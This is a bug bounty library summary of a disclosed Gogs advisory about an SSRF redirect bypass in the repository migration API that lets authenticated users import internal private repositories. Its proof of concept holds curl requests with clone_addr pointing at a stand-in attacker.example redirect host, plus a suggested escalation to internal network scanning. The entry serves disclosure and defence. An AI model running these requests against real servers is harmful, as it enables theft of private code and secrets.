# Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft

Gogs migration validates only the initial clone URL hostname, so a 302 redirect to 127.0.0.1 lets an authenticated user import internal private repositories.

- Payout: Research
- Severity: high
- Program: Gogs
- Found by: u-ktdi
- Disclosed: 2026-06-23
- CVE: CVE-2026-52805
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g2f5-gjr4-qjvm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g2f5-gjr4-qjvm
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go technique:chained vuln:access-control vuln:ssrf

**Target:** Repository migration endpoint (/api/v1/repos/migrate) using git clone --mirror
**Root cause:** ParseRemoteAddr() in internal/form/repo.go validates only the submitted clone URL hostname against a localhost/private blocklist, but git clone --mirror in internal/database/repo.go follows HTTP redirects without revalidating the final target.
**Steps:**
1. Start a local HTTP Git server hosting a test repo at `127.0.0.1:18081`.
2. Start a redirect server returning `302` to `http://127.0.0.1:18081/victim/private.git`.
3. Confirm direct localhost is blocked: `POST /api/v1/repos/migrate` with `{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}` is rejected.
4. Submit redirecting URL: `POST /api/v1/repos/migrate` with `{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}`.
5. Migration succeeds; new repo contains the internal repository's contents.
**How found:** Noted that validation happens on the submitted URL in ParseRemoteAddr() while the actual fetch is delegated to git clone --mirror, which follows redirects — a validate-then-fetch mismatch.
**Exploitation:** Authenticated attacker hosts a public URL that 302-redirects to an internal Git endpoint; Gogs' git clone --mirror follows the redirect, clones the internal repo, and imports it into the attacker's new private repository, exposing source and secrets.
**Escalation:** Same primitive can scan internal network services reachable from the Gogs server via the migration endpoint.
**Insight:** When a server validates a URL but hands the fetch to a client that follows redirects (git, curl, HTTP libs), test a public URL that 302s to the blocked target; the blocklist check on the initial hostname is meaningless.

## Proof of concept (copied exactly from the original report)

**Migrate API request with redirecting clone_addr**

```
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
  "${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds. The new repository contains the internal repository's contents.
```

**Direct localhost clone_addr blocked baseline request**

```
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
  "${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address.
```

